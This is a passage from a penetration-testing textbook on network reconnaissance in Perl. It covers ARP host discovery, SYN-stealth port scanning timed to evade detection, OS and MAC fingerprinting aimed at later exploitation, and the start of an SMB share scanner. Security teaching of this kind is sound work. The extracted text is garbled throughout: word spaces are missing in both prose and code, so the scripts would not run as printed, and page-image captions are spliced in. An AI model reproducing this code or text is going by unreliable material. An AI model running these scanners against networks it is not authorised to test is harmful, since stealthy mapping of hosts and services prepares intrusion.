![Page 81: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/81.jpg)
NoteNotethatICMPisnotascommonasitusedtobeforusewithinlocalnetworks.Infact,evenMicrosoftWindows8and8.1are,bydefault,setupwiththefirewallruletodropICMPrequeststoandfromtheOS.
Finally,let’stakealookatNmap.Nmapisanamazing,easy-to-usefingerprintingandfootprintingutilityformappingnetworksusingTCPconnections.Nmap’smappingcapabilitiesincludefindinglivehosts,openedportsonhosts,services’versionsontheopenedports,operatingsystemsofthelivehosts,andmuchmore.Infact,Nmapissoextensivethatithasitsownscriptinglanguageenginebuiltintoit.
ThereareseveralmethodstomapoutlivehostswithNmap.Onemethodisapingsweep,whichissimilartoEttercapasitsimplysendsARPrequeststoallpossibleIPaddresseswithinthecurrentsubnettofindthehosts.Let’sturnourattentiontotheNmapSYN-stealthscanandseewhyitisagreatoptionforhostdiscovery.
ASYN-stealthscanisaTCPscanusingSYNpacketstoallpossibleIPaddressesthatarespecified.TheSYNpacketsaresentbytheattackertothehostonaspecifiedport.Ifthisportisopened,thehostrespondswithanSYN-ACKpacket.NmapthenrespondsbackwithanRSTpacket,closingofftheconnectionevenbeforeafullTCPhandshaketakesplace.If,however,theportisclosed,thehostsendsbackanACK-RSTpacket,closingofftheTCPattempt.And,ofcourse,theIPaddressesthathavenohostswillsimplytimeout.ThisscanisstealthybecauseitisnotafullTCPhandshake.Let’stakealookatafullhandshakefirstinWireshark:
![Page 82: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/82.jpg)
Intheprecedingscreenshot,weseeafullTCPhandshakeasfollows:
Attacker:SYN(synchronize)Livehost:SYN-ACK(synchronizeacknowledgement)Attacker:ACK(acknowledgment)Attacker:FIN-ACK(sessionterminationacknowledgement)Livehost:FIN-ACKAttacker:ACK
Here,theattackeris10.0.0.15,andtheunknownlivehostis10.0.0.14.ThenewacronymsarecommonTCPlanguageandexpandedinparenthesis.
Thiswillcertainlyraiseflagswhenwestepthroughthelivehost’sscanningports,asitusesalotofunnecessarytrafficforoursimpleneed.Weonlyneedtoseearesponsefromthetarget,nomatterwhatkindofpacket.Thisiswhereourstealthscannerexcels.Itsimplysendsareset(RST)tothetarget,closingtheconnectionbeforethefullTCPhandshakeoccurs:
TheprecedingscreenshotshowsNmap’stransactionwithatargettoanopenedport,SYN->SYN-ACK->RST.Ascantoaclosedportisevensimpler,SYN->ACK-RST.Aswewillseeintheupcomingsections,weusethistransactiondatatoprogrammaticallydeterminewhetherthehostonthespecifiedIPaddress’sportisopen(theTCPlistenstate)orclosed.Considerthefollowingscreenshot:
![Page 83: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/83.jpg)
WecanseefromtheWiresharkscreencapturethatwhenNmapdiscoversaclosedport,inourcaseDstPort:telnet(23),itstillgetsaTCPresetresponsefromthetarget.Thesescantransactionsareexactlywhatwewanttoaccomplishwithourownfingerprinting-portscannerPerlapplication,butnotforourhostdiscoveryPerlapplication.ThisisbecausewecannotrelysolelyonTCPconnectionstofindlivehostsduetofilteredportsandfirewalls.Filteredportsorfirewalledsystemswon’trespondatalltoourSYN-stealthrequests,andwilldropthepackets.Togetaroundthisrestriction,weforcethetargettorespondtoanARPrequestbysendingawho-hasARPrequest(ARPoperationcode1)tothebroadcastaddressff:ff:ff:ff:ff:ff.Then,allwehavetodoiswatchforanyARPreplypackets(ARPoperationcode2)fromourtargetwithournetworkdevice.JustlikeEttercaportheNmappingsweep,wecanjustsendtherequestssequentiallythroughtheentiresubnet(inourcaseofthelab10.0.0.0/24or10.0.0.1-255).Thisiswhy,inmostcases,scanningforlivehostsusingARPcanreturnmoreaccurateresults.
![Page 84: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/84.jpg)
DesigningourownlivehostscannerLet’snowwriteourownhostscannerprograminPerl.WewillbeusingafewnewPerlmodules,whichwillbedescribedaswegooverthecodeinthedescription:#!/usr/local/bin/perl5.18.2-w
usestrict;
useNet::Pcapqw(:functions);
useNet::Frame::Device;
useNet::Netmask;
useNet::Frame::Dump::Online;
useNet::ARP;
useNet::Frame::Simple;
my$err=””;
my$dev=pcap_lookupdev(\$err);#fromNet::Pcap
my$devProp=Net::Frame::Device->new(dev=>$dev);
my$ip=$devProp->ip;
my$gateway=$devProp->gatewayIp;
my$netmask=newNet::Netmask($devProp->subnet);
my$mac=$devProp->mac;
my$netblock=$ip.“:”.$netmask->mask();
my$filterStr=“arpanddsthost“.$ip;
my$pcap=Net::Frame::Dump::Online->new(
dev=>$dev,
filter=>$filterStr,
promisc=>0,
unlinkOnStop=>1,
timeoutOnNext=>10#waitingforARPresponses
);
$pcap->start;
print“GatewayIP:“,$gateway,”\n”,“Startingscan\n”;
formy$ipts($netmask->enumerate){
Net::ARP::send_packet(
$dev,
$ip,
$ipts,
$mac,
“ff:ff:ff:ff:ff:ff”,#broadcast
“request”);
}
until($pcap->timeout){
if(my$next=$pcap->next){#frameaccordingto$filterStr
my$fref=Net::Frame::Simple->newFromDump($next);
#wedon’thavetoworryabouttheoperationcodes1,or2
#becauseofthe$filterStr
print$fref->ref->{ARP}->srcIp,”isalive\n”;
}
}
END{print“Exiting\n”;$pcap->stop;}
Steppingthroughthiscode,wecananalyzehowitinducesresponsesfromallsystems,eventhosewithfirewalls.
![Page 85: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/85.jpg)
First,wewillseeafewnewPerlmodulesbeingused:
Net::Pcap:ThisPerlmoduleprovidesaninterfacetothelibPcap/TCPDumppacketsniffinglibrary.WewillbeusingittosniffpacketsinthefingerprintingPerlprogram,butinthiscode,wejustuseittofindourEthernetdevice.The:functionsLISTargumenttothemoduleallowsustouseshorterversionsofsomeofthefunctionnameswithoutthepcap_prefix.ToinstallthisPerlmodule,thelibpcaplibraryisrequired.Itcanbeobtainedfromthetcpdumpwebsite,http://tcpdump.org,orfromaLinuxdistribution’spackagemanager,forexample,apt-getinstalllibpcap-devonaDebiansystem.Net::Frame::Device:ThisPerlmoduleisusedtofindoutmoreinformationaboutourEthernetNIC.WeuseitforMACaddress,networkgatewayIPaddress,IPaddress,andevensubnet(inaCIDRform).Net::Netmask:Thisisanobject-orientedPerlclassthatweusetoconverttheCIDRformofthenetmasktothedecimalform,forexample,10.0.0.0/24to255.255.255.0.WealsouseittocalculateallpossibleIPaddresseswithinoursubnet.Net::Frame::Dump::Online:Thisobject-orientedPerlclassisusedtosniffpacketsforresponses.Wecansetafilter,aswedowith$filterStr,toprocessonlythosepacketsthatareARPandmeantforourattackersystem(10.0.0.15,inourcase).WealsopassitapromiscuousmodeBoolean,ourdevice,andatimeout(inseconds)thatgivesupafternotreceivingpackets.Net::ARP:ThisPerlmoduleisusedtocraftandsendourARPpackets.Net::Frame::Simple:Thismoduleisusedtodisassembleandcreateahashreferencetothedetailsofthepacket.Therefattributeisthishash,asweseein$fref->ref->{ARP}->srcIp.Wealsousetherecvmethod,whichlistensforresponsesfromtheNet::Frame::Dump::Onlineobject.
TipAsstatedbefore,forafewofthesemodulestoworkproperly,theymightrequiredependencies,soit’sbesttorefertoeachPerlmodule’sdocumentationbeforeinstallingthemviaCPAN.Alternatively,somepackagemanagersoftenofferprecompiledPerlmodulesandinstallingthemwiththepackagemanagerwillalsoautomaticallyinstallthedependenciesforus.Forinstance,onaDebianLinuxsystem,wecaninstallNet::Pcapwiththefollowingcommand:
apt-getinstalllibnet-pcap-perl
Alistofdependenciescanbereturnedforapackageusingthefollowingcommand:
apt-cachedependslibnet-frame-perl
Thelookupdev()functionisprovidedbytheNet::Pcapmodule,andcanoftenautomaticallydeterminethenetworkinterfacecard(NIC)tobeusedforscanning.Alternatively,wecansimplyinitializeitonourownasfollows:$dev=“eth0”;
![Page 86: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/86.jpg)
The$devPropobjectisinstantiatedfromtheNet::Frame::Deviceclassusingthenew()method.ThisobjectisusedtodeterminetheNIC’snetworkinformationusingtheip,gatewayIp,mac,andsubnetmethods.
Next,wehaveafilterstring,$filterStr,fortheNet::Pcapmodule.Thisstringusesasimpletcpdumpfiltersyntax,andispassedasanargumenttothe$pcapobjectthatwecreatefromtheNet::Frame::Dump::Onlineclass,tofilterouteverythingthatisnotanARPpacketandsenttoourlivehost’sIPaddress,$ip.Otherargumentswesetinthe$pcapobjectare:
Promisc=>0:ThisisaBooleanvaluetosetournetworkadaptertothepromiscuousmodeunlinkOnStop=>1:ThisisaBooleanvaluetodeleteagenerated.pcapfiletimeoutOnNext=>10:Thesearethesecondsleftbeforetimingoutafterthelastcalltothenext()method
Finally,wecallthestart()methodofthe$pcapobject.AfterwedisplaythegatewayIPaddress,wecalltheenumerate()methodofthe$netmaskobject.ThismethodreturnsalistofallIPaddressesintheblock.Foreachoftheseaddresses,weconstructandsendanARPprobewiththesend_packet()functionoftheNet::ARPmodule.
Theuntil()functionwaitsuntilthetimeoutfromthe$pcapobjectreturnstrue(10seconds).Whiledoingthis,itcallsnext()anddeconstructstheARPpacketusingthenewFromDump()methodoftheNet::Frame::Simpleclass.Then,weprintthesourceIPaddressasbeingalivewith:print$fref->ref->{ARP}->srcIp,”isalive\n”;
Let’srunthisapplicationandtakealookatsome(trimmed)sampleoutputfromourVLAN:
root@wnld960:~#./hostscanner.pl
GatewayIP:10.0.0.1
Startingscan
10.0.0.1isalive
10.0.0.2isalive
10.0.0.11isalive
10.0.0.15isalive
10.0.0.124isalive
Exiting
root@wnld960:~#
Theprecedingoutputisascanwithinourlab’sVLAN,whichwassuccessful.10.0.0.11hasahardenedfirewallthatdoesnotrespondtoanyTCPrequest,exceptthosethatopenports,aswehaveseenfromtheprevioushping3example.
Wehaveanalyzedseveralwaystofootprintormapourtargetnetworkwithhostscanners.Knowledgeofdifferentscannersandhowtheyworkcanonlyprovidesomeaidinourquesttounderstandtheunderlyingprinciplesofhowourtarget’snetworkfunctions.Addthistoprogrammingwithnetwork-relatedPerlmodulesandLinuxshellknowledge,andthesumisaformidablearsenalforpenetrationtesting.Let’snowturnourattentionto
![Page 87: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/87.jpg)
activedevicefingerprinting,ortheprocessofqueryinganetworkeddeviceandanalyzingitsresponse,inthehopeofgatheringanOS,servicesoftware,orotherspecificdetailsthatcanthenbeusedlaterforfurtherexploitation.Wewillbeginfingerprintingalllivehostsfoundinthelistthatwegeneratedinthepreviouscodeexample.
![Page 88: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/88.jpg)
DesigningourownportscannerNowthatwehaveestablishedalistoflivehosts,let’stakealookathowtoperformsomefingerprintingonthosehostsinordertoattempttoenumeratewhichportsareopened,whatservicestheyare,andevenwhatOSthetargetmaybe.Beforedoingthis,weneedtoknowwhatTCPflagsaresetduringourresponsefromourtargetforSYN-ACK(anopenedport)andSYN-RST(aclosedport).WehavealreadyanalyzedthepackettypesusedbyNmaptoperformtheserequests,butlet’stakeacloserlookatthepacketstofindoutexactlywhatTCPflagsaresetfortheSYN-ACKandRSTresponses.Takealookatthefollowingscreenshot:
IntheprecedingWiresharkscreenshot,weseethattheTCPflagssetare0000,0001,and0010.Thesearebinarybitsthatcompriseallpackets.ItisimportanttofurtherunderstandthesevaluesinWiresharkwhenwecodeourownapplications.WeseethattheFlags:valuesetatthetopofthebranchis0x012inhexadecimal,whichis1*16+2,orsimply18inbaseten.Wecanalsocalculate0000,0001,and0010inbinaryto18insimplebaseten.ThistranslationisforanSYN-ACKresponsefromatargetwhenwequeryanopenedport,andisautomaticallydonebyWireshark.WecannowusethisknowledgewhenutilizingWiresharkasadebuggertoolforourownnetworkingapplications.Considerthefollowingscreenshot:
![Page 89: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/89.jpg)
Now,wehaveaquerytoaclosedportthathastheTCPflagsetto0x014,or1*16+4,or20insimplebaseten.Inbinary,ifwefollowtheflagsfromtoptobottom,wesee0000,0001,and0100,whichtranslatesto0+0+4+0+16+0+0+0,whichis20insimplebaseten.ThisisforanRST-ACKresponse.WewillsoonseeinourownPerlportscannerapplicationwhythesevaluesareimportant.
Beforewediverightintoprogrammingthescanner,let’stakeintoconsiderationafewotheraspectsofagoodfingerprintingtool.
Itmightseemobvioustousthatifwesequentiallystepthrougheachportonalivehost,afirewallorevenIDSmightraiseawarenessinthenetworkadministration.WecanmimichowNmapshufflestheseportsaroundbeforescanningbyusingtheshufflesubroutinefromtheList::UtilPerlmoduleonourlistofpossibleports.Wecanalsomakeourprogrammoreefficient,andfirstscanalistofcommonlyopenedportsbydefaultinstallationsofsomeofthemostcommonoperatingsystems.Toaccomplishthis,wewillsimplyprintouttheopenedportsastheyarereturnedinsteadofwaitinguntiltheyhaveallbeenscanned.
TofingerprinttheOSorsystemtype,wecantaketwoformsofdataintoconsideration,theopenedportsonthehostandtheMACaddressvendor.Forinstance,manyMicrosoftWindowsdefaultinstallationswillhaveports135,139,445,554,and2869leftopen.Somesmallofficehomeoffice(SOHO)routersandswitcheswillhaveremoteadministrationservicesopened,andsomecommonportsforthoseservicesinclude80,443,5000,8080,and8000.Ifwescanthesetwodevicesandseetheseportsopened,it’smostlikelyagoodbettobeaMicrosoftWindows-basedsystemoranetworkingdevice,respectively.Wecan
![Page 90: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/90.jpg)
alsomatchourresultstotheInternetAssignedNumbersAuthority(IANA)liststofinddescriptionsandshortnamescommonlyusedspecificallyforeachofourtarget’sopenedports.
TheMACaddressisasix-bytehexadecimaladdress.Thefirstthreebytesarereferredtoastheorganizationallyuniqueidentifier(OUI).These24bitscanbeusedtofingerprintasystemaswell.Forinstance,wecanmatchourreturnedMACaddressfromthetargetagainsttheIEEE.orgOUIlist,andifthevendorisApple,weknowit’sanApplecomputerthatisprobablyrunningApple’soperatingsystem.If,however,wefindanOUIfromCiscoLinksys,ARRIS,ActionTec,orNETGEAR,weknowit’sprobablyacommonswitchorrouter.Let’snowseehowwecanputallofthistogetherintoasinglePerlprogram.Wewillbegoingoverthiscodeinsections;thefirstwillbetoimportPerlmodulesandfillourstackwithafewglobalvariables.Theremainingsectionswillbethemainbodyandsubroutines:#!/usr/local/bin/perl5.18.2-w
usestrict;
#usediagnostics;#devdebug
useNet::Pcap;#sniffingpackets
useNetPacket::Ethernet;#decodepackets:
useNet::RawIP;
useNetPacket::TCP;
useNetPacket::IP;
useList::Utilqw(shuffle);
die“Usage:./portscanner<targetip><port-range><tcptype><myip>
<timeout(seconds)><pausetime>”if(!$ARGV[0]||$#ARGV!=5);
my$target=shift;#targetIP
my$pa=shift;#portRange“A”..“B”
my$myPort=55378;#myport
my$reqType=shift;#requesttype,canbenull
my$ip=shift;#myip
my$pause=shift;$timeout*=1000;
$pa=~s/([0-9]+)-([0-9]+)/$1/;
my@portRange=($pa..$2);
my($ports,$open,$closed,$filtered)=(0)x4;
#mostcommonlyusedportsfirst:
my$common=”^(20|21|23|25|42|53|67|68|69|80|88|102|110|119|”.
“135|137|138|139|143|161|162|389|443|445|464|500|”.
“515|522|531|543|544|548|554|560|563|568|569|636|993|”.
“995|1024|1234|1433|1500|1503|1645|1646|1701|1720|”.
“1723|1731|1801|1812|1813|2053|2101|2103|2105|2500|”.
“2504|3389|3527|5000|6665|6667|8000|8001|8002)\$”;
my%winports=(135=>‘msrpc’,139=>‘netbios-ssn’,
445=>‘microsoft-ds’,554=>‘rtsp’,
2869=>‘icslap’,5357=>‘wsdapi’);
my%rtrports=(80=>‘http’,443=>‘https’,
8080=>‘http-proxy’,5000=>‘upnp’,
8888=>‘sun-answerbook’);
my($win,$rtr,$oui)=(0)x2;#PrimitiveOSdetect
my($err,$net,$mask,$filter,$packet)=““x5;
my$filterStr=“(srcnet“.$target.”)&&(dstport“.$myPort.”)”;
my$dev=pcap_lookupdev(\$err);
pcap_lookupnet($dev,\$net,\$mask,\$err);
my$pcap=pcap_open_live($dev,1024,0,1000,\$err);
![Page 91: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/91.jpg)
pcap_compile($pcap,\$filter,$filterStr,0,$mask);
pcap_setfilter($pcap,$filter);
my%header;
Inthisfirstsection,weusethePerlmodulesthatarenecessaryforcapturinganddecodingpackets,andshufflingarrays.Wethenpullthetarget’sIP,thetargetportrange,ourTCPconnectiontype,ourownIPaddress,andfinallyapausetimefromthecommand-linearguments.TheseallowustosetupexactlyhowwearetosendandreceiveourTCPtransactions.
Wecreateagiantregularexpression,$common,whichincludesBooleanORlogicalongwitheachcommonport,sothatwecancheckwhetheranyofthetarget’sportsfallwithinthisset.Ifso,wewillbesendingtheTCPrequeststotheseportsfirst.Afterthis,wewillcreatetwosimplePerlhashesandvariables,whichincludecommonly-openedMicrosoftWindowsandrouterfirmwareports,%winportsand%rtrports,foraprimitiveOS-detectiontechnique.Wethencallthepcap_lookupdevmethodfromNet::Pcap,andgatherthelocalEthernetNICdevicename.Thiscanbereplacedwithasimplecommand-lineargumentifitcontainsadevicethatwedonotwanttouseforpacketcapture.TheNet::Pcapsniffingobject,$pcap,iscreatedusingthepcap_open_livemethod,andwecompileandsetafilterforourpackettypes,justaswedidinourpreviouscodeexamples:#commonportsfirst:
&sniffPacket($_)foreach(shuffle(grep(/$common/,@portRange)));
&sniffPacket($_)foreach(shuffle(grep(!/$common/,@portRange)));
print“\n”,$ports,”portsscanned,“,$filtered,”filtered,“,$open,”
open.\n”;
print“OSGuess:“,($rtr>$win)?“RouterFirmware\n”:“WindowsOS\n”
if($rtr>0||$win>0);
pcap_close($pcap);#releaseresources
exit;
Theprecedingportionofcodeisthemainbodyoftheprogram.Wefirstshufflethetarget’sportrangethatmatcheswiththeregularexpressionforcommonlyopenedports,andpassthattothesniffpackets()subroutine.Wedothesamefortheremainderportsbynegatingtheregularexpressionwithgrep(!/expression/,list).
Next,weseeaternaryconditionaloperationtocheckwhichlistofcommonlyopenedportsbestmatchesourtarget’sopenports,inordertodisplaywhetherornotwehavescannedanetworkrouteroraMicrosoftWindowsworkstation:subsniffPacket{
sleep$pauseif($pause>0);#pausing
$ports++;#stats(allportstried)
my$port=shift;#toprintit
sendPacket($port);#sendtheTCPrequest
while(1){
my$pktRef=pcap_next_ex($pcap,\%header,\$packet);
if($pktRef==1){#we’vegotapacket:
my$eth=NetPacket::Ethernet::strip($packet);
my$ethdec=NetPacket::Ethernet->decode($packet);
my$tcp=NetPacket::TCP->decode(NetPacket::IP::strip($eth));
oui($ethdec->{‘src_mac’})if(!$oui);#returnMACmanufacturer
if($tcp->{‘flags’}==18){
$open++;
![Page 92: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/92.jpg)
print$port,”\topen\t”;
if(exists$rtrports{$_}){print$rtrports{$_};$rtr++;}
elsif(exists$winports{$_}){print$winports{$_};$win++;}
else{print“unknownport.”}
print“\n”;
}elsif($tcp->{‘flags’}==20){
#closedport
}
last;#foundresponse,nextip
}elsif($pktRef==0){
$filtered++;#filteredportfromnoresponse.
last;#foundresponse,nextip
}else{
print“packetserror!\n”;
}
}
return;
}
Ourfirstsubroutine,sniffpacket(),isprimarilyusedtowaitfortheresponsefromoursentTCPrequest.HereiswherewemakeuseofmostofthePerlmodulesusedtodecodethepackets.WechecktoseewhetherthepacketisanACKforanopenedportoranACK-RSTforaclosedport.Ifnopacketisreceived,thetimeoutoccurs,whichissetinthepcap_open_liveobject,$pcap,as1000ms,or1second,andweleavethewhileloopandmoveontothenextport.Thisisalsowherewepopulatetheportcountsforthecommonlyopenedports’hashesforOSdetection.Considerthefollowingcode:subsendPacket{#Targetport=$_[0]
my$targetPort=shift;
my$packet=Net::RawIP->new({
ip=>{
saddr=>$ip,
daddr=>$target,
},
tcp=>{
source=>$myPort,
dest=>$targetPort,
},
});#craftpacket
$packet->set({tcp=>{$reqType=>1}})if($reqTypene“null”);
$packet->send;#sendpacket
return;
}
Thesendpacket()subroutineinthiscodeissimplyusedtosendtheTCPrequesttothetarget’sport.Wecraftthepacketobject,$packet,usingtheNet::RawIPclassandsetthesourceaddress,destinationaddress,sourceport,anddestinationportintwoPerlhashobjects,ipandtcp.WethencallthesendmethodaftersettingtheTCPtype,andsendtherequestreturningtothesniffpacket()subroutine.Considerthefollowingcode:suboui{
my$mac=shift;
(my$macBytes=$mac)=~s/([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]
{2})([0-9a-f]{2})([0-9a-f]{2})/$1:$2:$3:$4:$5:$6/;
$oui=1;#maketrue
![Page 93: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/93.jpg)
$mac=~s/([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2}).*/$1.$2.$3/;
open(OUI,“oui.txt”)||die”pleasedownloadoui.txtfromIEEE.org\n”;
while(my$l=<OUI>){
if($l=~/$mac/i){
print$macBytes,”MACManufacturer:“;
(my$v=$l)=~s/.*x\)\s+//;
print$v,”\n”;
last;
}
}
closeOUI;
return;
}
Theoui()subroutinelistedheresimplycraftsaregularexpressionfromtheMACaddressargumentandcheckstheoui.txtfiletoseewhetheramatchdisplaysanyresult.
Weneedoui.txtfromstandards.ieee.orgtocompletethismatchingprocess.WewillopenthisfileandmatchthereturnedMACaddressusingaregularexpressiontoascertainthemanufacturer.
ThenewPerlmodulesareasfollows:
NetPacket::Ethernet:ThisPerlmoduleisusedtodisassemblepackets.Thestripfunctionreturnsresultsotherthanthedecodemethod;hence,$ethdecand$eth.$ethdecisusedtogetthetarget’sMACaddress.The$ethobjectispassedtothestripfunctionofNetpacket::IP.Net::RawIP:Thisclassisusedtocreateapacketobject,($packet).Then,weusethesetandsendmethodstosetparametersandsendthepacketobjectrespectively.NetPacket::TCP:ThismoduleisusedtogatherTCPinformationaboutapacketobject.AfterstrippingtheEthernetandIPfromthepacket,wethenpassthepackettothedecodemethod,whichgathersTCPinformation,suchastheflags.NetPacket::IP:ThismoduleisusedtostripIPdatafromthepacketobject,$packet.ThereturnedpacketisthenpassedtothedecodemethodofNetpacket::TCP.
TheNet::PcapmodulewaspreviouslycoveredintheDesigningourownlivehostscannersection.Weuseitalittledifferentlyherethough,asitisusedtocreateapacketlisteneronourEthernetdevice.TheargumentsarelistedintheUsagedialogasfollows:./portscanner<targetip><port-range><tcptype><myip><pausetime>
Theargumentsareasfollows:
TargetIP:ThisistheIPaddressofthetargettoscan.Portrange:Thisisusedtospecifywhichportsshallbescanned,forexample,100-4000.It’sokaytospecifythesameportasthefinalporttoscanjustonesingleport,forexample,100-100.TCPtype:Thisistheconnectiontype.ThiscanbeTCP,whichisslightlysimilartoNmap,orevenNULL,whichisslightlysimilartohowhping3works.MyIP:ThisistheIPaddressofourattackermachine.
![Page 94: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/94.jpg)
Pausetime:Thisspecifiesasimpleintegertopasstothesleepsubroutineinordertomakeourscanslowerandslightlylessobvious.
Let’scheckhowthescannergoesalongportsagainstafirewalledsystemwithTshark:0.00000010.0.0.15->10.0.0.11TCP55378>http-mgmt[SYN]Seq=0
Win=65535Len=0
1.00043710.0.0.15->10.0.0.11TCP55378>ticf-1[SYN]Seq=0
Win=65535Len=0
2.00164910.0.0.15->10.0.0.11TCP55378>emfis-data[SYN]Seq=0
Win=65535Len=0
3.00283910.0.0.15->10.0.0.11TCP55378>dsf[SYN]Seq=0
Win=65535Len=0
4.00403410.0.0.15->10.0.0.11TCP55378>datasurfsrv[SYN]Seq=0
Win=65535Len=0
5.00523110.0.0.15->10.0.0.11TCP55378>240[SYN]Seq=0
Win=65535Len=0
6.00642810.0.0.15->10.0.0.11TCP55378>mumps[SYN]Seq=0
Win=65535Len=0
7.00762110.0.0.15->10.0.0.11TCP55378>at-zis[SYN]Seq=0
Win=65535Len=0
8.00881510.0.0.15->10.0.0.11TCP55378>291[SYN]Seq=0
Win=65535Len=0
9.01000910.0.0.15->10.0.0.11TCP55378>snare[SYN]Seq=0
Win=65535Len=0
10.01120510.0.0.15->10.0.0.11TCP55378>gacp[SYN]Seq=0
Win=65535Len=0
11.01241110.0.0.15->10.0.0.11TCP55378>271[SYN]Seq=0
Win=65535Len=0
TipNotethatwhenusingmostlibpcap-basedapplications,suchasTsharkortcpdump,wemightseethatthepacketscomeoutinchunksonourscreens,yetthetimeronthefarleft-handsideshowsthattheyareoccurringpriortothescreendump.ThisisbecausetheybuffertheresultsanddisplaytoSTDOUTwhenthebufferisfull.Ifwepassthe-largumenttotcpdump,itwillnotbuffertheresults.
Thesescansmightbeslowwhenscanningasystemwithafirewall,butspeedisusuallynotasimportantasbeingstealthyandaccurateinpenetrationtesting.Weaverageaboutonequerypersecondtoafirewalledsystem,andsinceweprinttheopenedportfeedbackimmediately,wewillseethecommonlyopenedportsshowupfirst.Considerthefollowingexample:
root@wnld960:~#./portscanner.pl10.0.0.11134-555syn10.0.0.1510
5c:26:0a:0a:0a:8eMACManufacturer:DellInc.
554openrtsp
445openmicrosoft-ds
139opennetbios-ssn
135openmsrpc
422portsscanned,418filtered,4open.
OSGuess:WindowsOS
![Page 95: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/95.jpg)
root@wnld960:~#./portscanner.pl10.0.0.179-5001syn10.0.0.1510
00:1d:d0:f6:94:b1MACManufacturer:ARRISGroup,Inc.
443openhttps
5000openupnp
80openhttp
4923portsscanned,0filtered,3open.
OSGuess:RouterFirmware
root@wnld960:~#perlportscanner.pl10.0.0.1244565-4569syn10.0.0.1530
00:1f:90:58:55:13MACManufacturer:ActiontecElectronics,Inc
4567openunknownport.
5portsscanned,4filtered,1open.
root@wnld960:~#
Thisistheoutputofourportscannerprogramusedagainstthreedifferenthardwaredevicesinthelab.WeseetwonetworkdevicesandaDell,whichisaMicrosoftWindows-basedPC.WecanlaterusethisvaluableinformationtoouradvantageandtestforvulnerabilitiesfromtheExploitDatabase(http://exploit-db.com)orMetasploitframework.
![Page 96: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/96.jpg)
WritinganSMBscannerAnothermethodofgettingdetailedinformationaboutatargetistousetheSMBprotocolutilities.ThisprotocolisusedbyMicrosoftWindowssystemsforsharingdirectoriesandfilesoveranetwork.Forourpurposes,wewanttologallsharesonourtarget’snetwork,anddefinitelyreportifanyoftheseareunsecuredaswell.Todothis,wewillusePerlandinteractwiththebashshellandthecommonSMBtreeprogramthatweusedintheServerMessageBlockinformationtoolssection.Considerthefollowingcode:#!/usr/local/bin/perl5.18.2-w
usestrict;
my@smbShares=`smbtree-N`;
my($protShares,$shareCount)=(0)x2;
foreach(@smbShares){
chomp(my$line=$_);
if(/^[0-9A-Z]/){
print“GROUP:“,$line,”\n”;
}elsif(/\s+\\[^\]+\([^]+).*/){
print“\t”,$1,”\n”;
$shareCount++;
